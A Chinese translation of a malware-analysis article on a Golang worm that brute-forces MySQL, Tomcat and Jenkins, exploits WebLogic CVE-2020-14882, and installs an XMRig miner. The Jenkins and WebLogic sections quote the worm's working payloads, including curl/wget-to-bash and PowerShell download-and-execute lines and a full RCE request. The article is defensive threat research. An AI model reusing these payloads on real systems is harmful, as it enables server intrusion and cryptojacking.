Golang蠕蟲(chóng)將Windows和Linux服務(wù)器變成門(mén)羅幣挖礦機(jī)
使用Golang語(yǔ)言開(kāi)發(fā)多平臺(tái)惡意軟件是2020年惡意軟件的發(fā)展趨勢(shì)。2020年12月初,研究人員發(fā)現(xiàn)了一個(gè)新的用Golang語(yǔ)言編寫(xiě)的蠕蟲(chóng)。該蠕蟲(chóng)嘗試在網(wǎng)絡(luò)中傳播來(lái)大規(guī)模地運(yùn)行XMRig挖礦機(jī)。惡意軟件的目標(biāo)是Windows和Linux服務(wù)器。在老版本中,該蠕蟲(chóng)嘗試?yán)肳ebLogic的漏洞——CVE-2020-14882。
研究人員分析發(fā)現(xiàn),攻擊者持續(xù)更新C2服務(wù)器上的蠕蟲(chóng),表明惡意軟件開(kāi)發(fā)者非?;钴S,而且在未來(lái)的更新中可能會(huì)攻擊其他弱配置的服務(wù)。
技術(shù)分析
攻擊者使用了3個(gè)文件:
· 釋放器腳本(bash或powershell);
· Golang二進(jìn)制蠕蟲(chóng);
· XMRig 挖礦機(jī)。
這3個(gè)文件都位于同一C2服務(wù)器上。
截止目前,ELF 蠕蟲(chóng)二進(jìn)制文件和bash 釋放器腳本在VirusTotal 中都沒(méi)有檢測(cè)到。圖1是VirusTotal 對(duì)ELF 蠕蟲(chóng)二進(jìn)制文件的檢測(cè)結(jié)果。

圖 1: VirusTotal 對(duì)ELF 蠕蟲(chóng)二進(jìn)制文件的檢測(cè)結(jié)果
惡意軟件在Windows和Linux操作系統(tǒng)上的行為非常相似。下面對(duì)Linux蠕蟲(chóng)的工作流進(jìn)行分析。
Linux蠕蟲(chóng)工作流
蠕蟲(chóng)執(zhí)行后會(huì)檢查受感染的機(jī)器上是否有進(jìn)程在監(jiān)聽(tīng)52013端口。端口監(jiān)聽(tīng)器的存在是一個(gè)mutex互斥量。如果端口的socket已經(jīng)開(kāi)放,惡意軟件實(shí)例就會(huì)退出,否則就會(huì)打開(kāi)一個(gè)端口的網(wǎng)絡(luò)socket。
在老版本中,蠕蟲(chóng)會(huì)解壓XMRig 挖礦機(jī)為Network01到tmp文件夾中,并運(yùn)行。挖礦機(jī)會(huì)使用Go資源嵌入包(go-bindata)嵌入到Golang二進(jìn)制文件中,惡意軟件會(huì)使用bindataFile來(lái)解壓嵌入的XMRig 挖礦機(jī)。圖2是文件中的函數(shù):

圖 2: xmrig_linux_amd64.go文件
惡意軟件會(huì)使用TCP SYN掃描網(wǎng)絡(luò)來(lái)找到可以暴力破解的服務(wù),并在網(wǎng)絡(luò)中傳播。然后掃描有與這些服務(wù)相關(guān)的開(kāi)放端口的IP,Tomcat 和 Jenkins的端口是8080,MySQL的端口是3306,WebLogic的端口是7001。這些漏洞利用中在src exp代碼下有一個(gè)包。

圖 3: “exp”包文件和函數(shù)
蠕蟲(chóng)使用gopacket庫(kù)來(lái)提供Go語(yǔ)言的C綁定,用libpcap來(lái)讀取網(wǎng)絡(luò)包。通過(guò)運(yùn)行pcapc,蠕蟲(chóng)會(huì)收集網(wǎng)絡(luò)數(shù)據(jù)并繼續(xù)對(duì)服務(wù)進(jìn)行暴力破解。圖4是蠕蟲(chóng)暴力破解和嘗試在Tomcat和MySQL服務(wù)上進(jìn)行漏洞利用的結(jié)果。

圖 4: 蠕蟲(chóng)結(jié)果片段
漏洞利用后,惡意軟件會(huì)傳播一個(gè)加載器腳本:Linux系統(tǒng)是ld.sh,Windows平臺(tái)是ld.ps1。加載器負(fù)責(zé)釋放和運(yùn)行XMRig挖礦機(jī)和Golang 蠕蟲(chóng)。圖5和圖6是加載器腳本。

圖 5: ldr.sh –Linux平臺(tái)的釋放器bash腳本

圖 6: ldr.ps1 script – Windows平臺(tái)的釋放器 powershell腳本
漏洞利用流
下面描述每個(gè)服務(wù)的攻擊流:
MySql: Port 3306
惡意軟件會(huì)運(yùn)行憑證暴力破解攻擊。惡意軟件會(huì)使用硬編碼的弱憑證目錄,比如root:123456。
成功登陸后,惡意軟件會(huì)使用mysql UDF運(yùn)行shellcode來(lái)獲取本地權(quán)限提升。漏洞利用以十六進(jìn)制字符串的形式嵌入在二進(jìn)制文件中。蠕蟲(chóng)對(duì)不同的操作系統(tǒng)和架構(gòu)有不同的漏洞利用,設(shè)計(jì)的系統(tǒng)和架構(gòu)有UDFLINUX32、UDFLINUX64、UDFLWIN32和UDFWIN64。
運(yùn)行漏洞利用后,payload會(huì)用sys_exec 命令來(lái)釋放和運(yùn)行加載器腳本。URLWIN 和URLLINUX 保存釋放器腳本URL。圖7和圖8是每個(gè)操作系統(tǒng)對(duì)應(yīng)的payload。

圖 7: MySQL查詢(xún)– Linux payload

圖 8: MySQL 查詢(xún)– Windows payload
Tomcat: Port 8080
惡意軟件會(huì)使用基本認(rèn)證在管理員面板上運(yùn)行憑證填充。

圖 9: 到Tomcat管理員面板的認(rèn)證請(qǐng)求示例
成功嘗試后,惡意軟件會(huì)嘗試部署一個(gè)WAR文件,用來(lái)傳輸含有惡意payload的1.jsp 文件。
惡意軟件會(huì)發(fā)送Get請(qǐng)求,并分析jsp文件 %s/1.jsp?win=%s&linux=%s 的參數(shù)。這些參數(shù)中含有釋放器腳本URL。然后,JSP腳本會(huì)釋放和運(yùn)行其加載器。

圖 10: 1.jsp文件腳本
Jenkins: Port 8080
與之前漏洞利用類(lèi)似,惡意軟件會(huì)用口令填充來(lái)暴力破解Jenkins 登陸,并運(yùn)行以下payload:
- cmd@/c@powershell iex(New-Object Net.WebClient).DownloadString(‘%s’)!bash@-c@(curl -fsSL %s || wget -q -O – %s) | bash
- println “%s”+”%s”;def s=new String(Base64.getDecoder().decode(“%s”+”%s”.reverse())).split(“!”);def c=System.getProperty(“os.name”).contains(“indo”)?s[0].split(“@”):s[1].split(“@”);c.execute()
- WebLogic: Port 7001
在之前版本中,惡意軟件會(huì)用最新的WebLogic 遠(yuǎn)程代碼執(zhí)行漏洞利用CVE-2020-14882。惡意軟件會(huì)發(fā)送到WebLogic服務(wù)的get請(qǐng)求,并使用GET請(qǐng)求header 作為payload的一部分。
- GET
- /console/css/%%25%%32%%65%%25%%32%%65%%25%%32%%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(‘weblogic.work.ExecuteThread
- %%20currentThread(weblogic.work.ExecuteThread)Thread.currentThread();weblogic.work.
- WorkAdapter%%20adapter=currentThread.getCurrentWork();java.lang.reflect.Field%%20
- field=adapter.getClass().getDeclaredField(“connectionHandler”);field.setAccessible
- (true);Object%%20obj=field.get(adapter);weblogic.servlet.internal.ServletRequestI
- mpl%%20req(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod
- (“getServletRequest”).invoke(obj);String%%20cmd=req.getHeader(“cmd”);String[]%%
- 20cmds=System.getProperty(“os.name”).toLowerCase().contains(“win”)?new%%20String[]{“cmd.exe”,”/c”,req.getHeader(“win”)}:new%%20String[]{“/bin/sh”,”c”,req.getHeader
- (“linux”)};if(cmd!=null{String%%20result=new%%20java.util.Scanner(new%%20java.lang
- .ProcessBuilder(cmds).start().getInputStream()).useDelimiter(“%%5C%%5CA”).next();
- weblogic.servlet.internal.ServletResponseImpl%%20res(weblogic.servlet.internal.
- ServletResponseImpl)req.getClass().getMethod(“getResponse”).invoke(req);work.
- getServletOutputStream().writeStream(new%%20weblogic.xml.util.StringInputStream
- (result));work.getServletOutputStream().flush
- ();}currentThread.interrupt();’) HTTP/1.0
- Host: %s:%d
- User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:82.0) Gecko/20100101 Firefox/82.0
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
- Connection: close
- cmd: ls
- linux: ( (curl -fsSL %s || wget -q -O – %s) | bash& )
- win: start powershell iex(New-Object Net.WebClient).DownloadString(‘%s’)
總結(jié)
在2020年,研究人員發(fā)現(xiàn)許多攻擊不同平臺(tái)的Golang惡意軟件,包括Windows、Linux、Mac和安卓。研究人員認(rèn)為這一趨勢(shì)在2021年將會(huì)繼續(xù)。此外,蠕蟲(chóng)的PE和ELF版本代碼幾乎完全相同。
本文翻譯自:https://www.intezer.com/blog/research/new-golang-worm-drops-xmrig-miner-on-servers/如若轉(zhuǎn)載,請(qǐng)注明原文地址。